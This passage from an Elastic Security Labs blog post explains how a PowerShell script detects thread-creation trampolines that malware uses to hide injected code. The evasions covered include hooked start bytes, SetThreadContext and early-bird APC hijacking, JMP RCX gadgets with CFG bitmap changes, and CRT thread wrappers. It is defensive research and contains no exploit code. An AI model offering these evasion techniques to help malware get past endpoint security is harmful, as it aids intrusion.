<p>In particular, many, many security products still hook ntdll.dll. This was an entirely legitimate technical approach back in 2007 when Vista was released: it allowed existing x86 features based on kernel syscall hooks to be quickly ported to the nascent x64 architecture using user mode syscall hooks instead. The validity of such approaches has been more questionable since Windows 10 was released in 2015. Around this time, x64 was cemented as the primary Windows architecture and we could firmly relegate the less secure x86 Windows to legacy status. The value proposition for user mode hooking was further reduced in 2017 when Windows 10 Creators Update <a href="https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection">added additional kernel mode instrumentation</a> to provide more robust detection approaches for malicious usage of certain abused syscalls.</p>
<p>For reference, our original Elastic Endgame product has features implemented using user mode hooks whereas our newer Elastic Endpoint has not yet determined a need to use a user mode hook at all in order to attain equal or better protection compared to Endgame. This means that Elastic Endgame must defend these hooks from tampering whereas Elastic Endpoint is currently invulnerable to the various so-called “universal EDR bypasses” that perform ntdll.dll unhooking.</p>
<p>Older security products aside, there are also many products that extend the functionality of other products via hooks– or perhaps unpack their code at runtime, etc. So, if that 4KB page is private, then security products need to additionally compare the start address bytes to an original pristine copy and alert if they differ.</p>
<p>And, to deploy at scale, they also need to maintain an allowlist for those rare legitimate uses.</p>
<h3>2 - Shifting the trampoline mat</h3>
<p>Technically the security product will only be able to see the bytes at the time of the thread notification callback which is slightly before the thread executes. Malware could create a <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread#parameters">suspended</a> thread, let the thread callback execute, and only then hook the start bytes before finally resuming the thread. Don’t worry though - effective security products can detect that inline too. But that’s a topic for another day.</p>
<p>This brings us to the second trampoline approach though: hijacking the execution flow before the entrypoint is ever called. Why obviously hook the thread entrypoint of our suspended thread when, with a little sleight of hand, we can usurp execution by modifying its instruction pointer directly (or an equivalent context manipulation) with <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext">SetThreadContext()</a>, or by queuing an <a href="https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/">“early bird” Asynchronous Procedure Call</a> (APC)?</p>
<p>The problem with creating the illusion of a legitimate entrypoint like this is that it doesn’t hold up to any kind of rigorous inspection.</p>
<p>In a normal thread, the user mode start address is typically the third function call in the thread’s stack – after ntdll!RtlUserThreadStart and kernel32!BaseThreadInitThunk. So when the thread has been hijacked, this is going to be obvious in the call stack.</p>
<p>For instruction pointer manipulation, the first frame will belong to the injected code.</p>
<p>For “early bird” APC injection, the base of the call stack will be ntdll!LdrInitializeThunk, ntdll!NtTestAlert, ntdll!KiUserApcDispatcher and then the injected code.</p>
<p>The updated script detects various anomalous call stack bases.</p>
<p>False positives are possible where legitimate software finds it necessary to modify Windows process or thread initialisation. For example, this was observed with the <a href="https://www.msys2.org/">MSYS2</a> Linux environment. There is also an edge case where a function might have been generated with a <a href="https://en.wikipedia.org/wiki/Tail_call">Tail Call Optimisation</a> (TCO), which eliminates unnecessary stack frames for performance. However, these cases can all be easily handled with a small exception list.</p>
<h3>3 - If it walks like a trampoline, and it talks like a trampoline...</h3>
<p>The third trampoline approach is to find a suitable gadget within image-backed memory so that no code modification is necessary. This is one of the approaches that Adam Chester employed in his blog.</p>
<p>Our earlier hook was 12 bytes and finding an exact 12-byte gadget is unlikely in practice.</p>
<p>However, on x64 Windows, functions use a four-register fast-call calling convention by default. So when the OS calls our gadget we will have control over the RCX register which will contain the parameter we passed into CreateThread().</p>
<p>The simplest x64 gadget is the two-byte JMP RCX instruction “ff e1” – which is fairly trivial to find.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image16.png" alt="JMP RCX gadget in ntdll.dll" /></p>
<p>Gadgets don’t even need to be instructions per se – they could be within operands or other data in the code section. For example, the above “ff e1” gadget in ntdll.dll was part of the relative address of a GUID.</p>
<p>We can detect this too- because it doesn’t work generically yet.</p>
<p>In all modern Windows software, thread start addresses are protected by Control Flow Guard (CFG) which has a bitmap of valid indirect call targets computed at compile time. In order to use this gadget, malware must either first disable CFG or call the <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-setprocessvalidcalltargets">SetProcessValidCallTargets()</a> function to ask the kernel to dynamically set the bit corresponding to this gadget in the CFG bitmap.</p>
<p>Just to be clear: this is not a CFG bypass. It is a CFG feature to support legitimate software doing weird things. Remember that CFG is an exploit protection– and being able to call SetProcessCallTargets() in order to call CreateThread() is a chicken and egg problem for exploit developers.</p>
<p>Like before, to save memory, the CFG bitmap pages for DLLs are also shared between processes. This time we can detect whether the start address’s CFG bitmap entry is on a sharable page or in a private working set- and alert if it is private.</p>
<p>Control Flow Guard is described in detail <a href="https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf">elsewhere</a>, but a high level CFG overview here is helpful to understanding our approach to detection. Each two bits in the CFG bitmap corresponds to 16 addresses. Two bits gives us four states. Specifically, in a pretty neat optimization by Microsoft, two states correspond only to the 16-byte aligned address (allowed, and export suppressed) and two states correspond to all 16 addresses (allowed and denied).</p>
<p>Modern CPUs fetch instructions in 16-byte lines so modern compilers typically align the vast majority of function entrypoints to 16-bytes. The vast majority of CFG entries only set a single address as a valid indirect call target, and very few entries will specify a whole block of 16 addresses as valid call targets. This means that the CFG bitmap can be an eighth of the size without any appreciable increase in the risk of valid gadgets due to an overly permissive bitmap.</p>
<p>However, if each two bits corresponds to 16 addresses, then a private 4K page of CFG bits corresponds to 256KB of code. That’s quite the false positive potential!</p>
<p>Therefore, we just have to hope that legitimate code never does this… nevermind. You should never hope that legitimate code won’t do obscure things. To date, we’ve identified three contemporary scenarios:</p>
<ul>
<li>The legacy Edge browser would <a href="https://web.archive.org/web/20161031134827/http://blog.trendmicro.com/trendlabs-security-intelligence/control-flow-guard-improvements-windows-10-anniversary-update/">harden its javascript host process</a> by un-setting CFG bits for certain abusable functions</li>
<li>user32.dll appears to be too kind to legacy software – and will un-suppress export addresses if they are registered as call back functions</li>
<li>Some security products will drop a page of hook trampolines too close to legitimate modules and private executable memory always has private bitmap entries (Actually they’ll often drop this at a module’s preferred load address – which prevents the OS from sharing memory for that module)</li>
</ul>
<p>So we need to rule out false positives by comparing against an expected CFG bitmap value. We could read this from the PE file on disk, but the x64 bitmap is already mapped into our process as part of the shared CFG bitmap.</p>
<p>The PowerShell script implementation we’ve released alerts on both cases: a modified CFG page and a start address with a non-original CFG value.</p>
<p>A very small number of CFG-compatible gadgets <a href="https://i.blackhat.com/briefings/asia/2018/asia-18-Lain-Back-To-The-Epilogue-How-To-Evade-Windows-Control-Flow-Guard-With-Less-Than-16-Bytes.pdf">might</a> <a href="https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-3_Biondo_paper.pdf">exist</a> at a given point in time, but only in very specific DLLs that will likely appear anomalous in the surrogate process.</p>
<h3>4 - It's literally already a trampoline</h3>
<p>The third bypass category is to find an existing function that does exactly what we want, and there are many of these. For example, the one highlighted by Christopher Paschen is Microsoft’s C Runtime (CRT). This implementation of the C standard library works as an API layer that sits above Win32– and it includes thread creation APIs.</p>
<p>These APIs perform some extra CRT bookkeeping on thread creation/destruction by passing an internal CRT thread entrypoint to CreateThread() and by passing the user entrypoint to subsequently call as part of the structure pointed to by the CreateThread() parameter.</p>
<p>So, in this case, the Win32StartAddress observed will be the non-exported msvcrt!_startthread(ex). The shellcode address will be at a specific offset from the thread parameter during thread creation (Microsoft CRT source is available), and the shellcode will be the next frame on the call stack after the CRT.</p>
<p>Note: without additional tricks this can only be used to create in-process threads and there is no CreateRemoteThread() equivalent. Those tricks exist, however, and you should not expect this module as a start address in remote threads.</p>
<p>Unfortunately, there is no operating system bookkeeping that will tell you if a thread was created remotely after the fact. Consequently, we can’t scan for this with our script– but the inline callbacks used by security products can make this distinction.</p>
<p>Currently, the script simply traverses the stack bottom-up and infers the first handful of frames by looking at candidate return addresses. This code could definitely be improved via disassembly or using unwind information, which are less rewarding to implement in PowerShell. The current approach is reliable enough for demonstration purposes:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image15.png" alt="Get-InjectedThead - 1 hit" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image4.png" alt="Get-InjectedThreadEx - 5 hits" /></p>
<p>The updated script detects the original suspicious thread in addition to the four classes of bypass described in this research.</p>
<h2>Hunting suspicious thread creations</h2>
<p>In addition to detections for the four known major classes of thread start address trampolines, the updated script also includes some additional heuristics. Some of these have medium false positive rates and are hidden behind an -Aggressive flag. However, they may still be useful in hunting scenarios.</p>
<p>![prolog byte regex](/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image14.png</p>
<p>The first looks at the starting bytes of the thread’s user entrypoint. <a href="https://docs.microsoft.com/en-us/cpp/build/prolog-and-epilog">Function prologs</a> have structure- except when they don’t. There is no decompiler in PowerShell as far as we know – so we approximated with a byte pattern regular expression instead. Identifying code that doesn’t follow convention is useful but could easily exist in a compiler that we haven’t tested against.</p>
<p>Interestingly, we had to account for the “MZ” magic bytes that correspond to a <a href="https://en.wikipedia.org/wiki/DOS_MZ_executable">DOS Executable</a> being a purportedly valid thread entrypoint. The Windows loader <a href="https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/corexemain-function">ignores</a> the value of the AddressOfEntry field in the PE header for Common Language Runtime (CLR) executables such as .NET.</p>
<p>Instead, execution always starts in MsCorEE!_CorExeMain() in the CLR Runtime which determines the actual process entrypoint from the CLR metadata. This makes sense as CLR assembly might only contain bytecode which needs to be JIT’d by the runtime before being called. However, the value of this field is still passed to CreateThread() and it is often zero- which results in the unexpected MZ entrypoint bytes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image5.png" alt="tail byte regex" /></p>
<p>The second heuristic examines the bytes immediately preceding the user entrypoint. This is usually a return, a jump, or a filler byte. Common filler bytes are zero, nop, and int 3. However, this is only a convention.</p>
<p>In particular, older compilers would regularly place data side by side with code- presumably to achieve performance through data locality. For example, we previously analysed the x64 binaries on Microsoft’s symbol server and noticed that this mixing of code and data was normal in Visual Studio 2012, was mostly remediated in VS2013, and appears to have been finally fixed in VS2015 Update 2.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image3.png" alt="16-byte pseudo alignment" /></p>
<p>The third heuristic is yet another compiler convention. As mentioned earlier, compilers like to output functions that maximize the instruction cache performance which typically use 16-byte fetches. But compilers appear to also like to save space– so they typically only ensure that the first basic block fits within the smallest number of 16-byte lines as opposed to strict 16-byte alignment. In other words, if a basic block is 20 bytes then it’ll always need at least two fetches, but we want to ensure that it doesn’t need three.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image14.png" alt="unexpected Win32 modules" /></p>
<p>Many common Win32 modules have no valid thread entrypoints at all– so check for these.</p>
<p>This list is definitely non-exhaustive.</p>
<p>Kernel32.dll is a special case. LoadLibrary is not technically a valid thread entrypoint– but CreateRemoteThread(kernel32!LoadLibraryA, “signed.dll”) is actually how most security products would prefer software to do code injection into running processes when necessary. That is, the injected code is signed and loaded into read-only image-backed memory. To the best of our knowledge, we believe that this approach was first proposed by Jeffrey Richter in an article in the May 1994 edition of the Microsoft System Journal and later included in his <a href="https://openlibrary.org/books/OL1120758M/Advanced_Windows">Advanced Windows</a> book. So treat LoadLibrary as suspicious- but not necessarily malicious.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image7.png" alt="unexpected ntdll entrypoint" /> ntdll.dll is loaded everywhere so is often the first choice for a gadget or hook. There are only four valid ntdll entrypoints that we know of and the script explicitly checks for these.</p>
<p>Two of these functions aren’t exported, and rather than using P/Invoke to download the public symbols and find the offset in the PDB, the script dynamically queries the start addresses of its own threads for their start addresses to find these. PowerShell already uses worker threads, and the script starts a private ETW logger session to force a thread with the final address.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image12.png" alt="unsigned DLL start address" /> Side-loaded DLLs remain a highly popular technique- and are still predominantly unsigned.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image10.png" alt="SYSTEM impersonation" /></p>
<p>This one isn’t a thread start heuristic- but it was too simple not to include. Legitimate threads might impersonate SYSTEM briefly, but (lazy) malware authors (or operators) tend to escalate privileges initially and hold them indefinitely.</p>
<h2>Wrapping up</h2>
<p>As flagged last time, nothing in security is a silver bullet. You should not expect 100% detection from suspicious thread creations alone.</p>
<p>For example, an adversary could modify their tools to simply not create any new threads, restricting their execution to hijacked threads only. The distinction is perhaps subtle, but Get-InjectedThreadEx only attempts to detect anomalous thread creation addresses – not the broader case of legitimate threads that were subsequently hijacked. This is why, in addition to imposing costs at thread creation, <a href="https://www.elastic.co/pt/endpoint-security/">Elastic Security</a> employs other defensive layers including <a href="https://www.elastic.co/pt/blog/detecting-cobalt-strike-with-memory-signatures">memory signatures</a>, <a href="https://www.elastic.co/pt/blog/elastic-security-opens-public-detection-rules-repo">behavioral detections</a> and <a href="https://www.elastic.co/pt/blog/process-ghosting-a-new-executable-image-tampering-attack">defense evasion detections</a>.</p>
<p>While it is somewhat easy to hijack a single thread after creation (ensuring that all your malware’s threads, including any third-party payloads, uses the right version of the right detection bypass for the installed security products), this is a maintenance cost for the adversary and mistakes will be made.</p>
<p>Let’s keep raising the bar. We’d love to hear about thread creation bypasses- and scalable detection approaches. We’re stronger together.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/photo-edited-02-e.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>